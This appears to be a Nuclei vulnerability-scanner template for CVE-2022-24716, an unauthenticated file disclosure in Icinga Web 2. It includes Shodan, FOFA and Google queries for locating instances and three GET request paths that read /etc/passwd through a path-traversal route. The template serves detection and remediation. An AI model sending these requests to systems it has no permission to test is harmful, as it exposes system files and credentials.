id: CVE-2022-24716

info:
  name: Icinga Web 2 - Arbitrary File Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing credentials, configuration files, and other sensitive data.
  remediation: This issue has been resolved in versions 2.9.6 and 2.10 of Icinga Web 2. Database credentials should be rotated.
  reference:
    - https://github.com/JacobEbben/CVE-2022-24716/blob/main/exploit.py
    - http://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html
    - https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d
    - https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw
    - https://security.gentoo.org/glsa/202208-05
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24716
    cwe-id: CWE-22
    epss-score: 0.93187
    epss-percentile: 0.99806
    cpe: cpe:2.3:a:icinga:icinga_web_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: icinga
    product: icinga_web_2
    shodan-query:
      - title:"Icinga"
      - http.title:"icinga"
      - http.title:"icinga web 2 login"
    fofa-query:
      - title="icinga web 2 login"
      - title="icinga"
    google-query:
      - intitle:"icinga"
      - intitle:"icinga web 2 login"
  tags: cve,cve2022,packetstorm,icinga,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220496ac07b8e70f0d49b9878d5f2eb9c68fd6171338fe9a5abb19521b3a71d821602204c366f47ac429cbd666d968c43c3fcf6a1f20b95300d1d4d60023c8dadbbfcd9:922c64590222798bb761d5b6d8e72950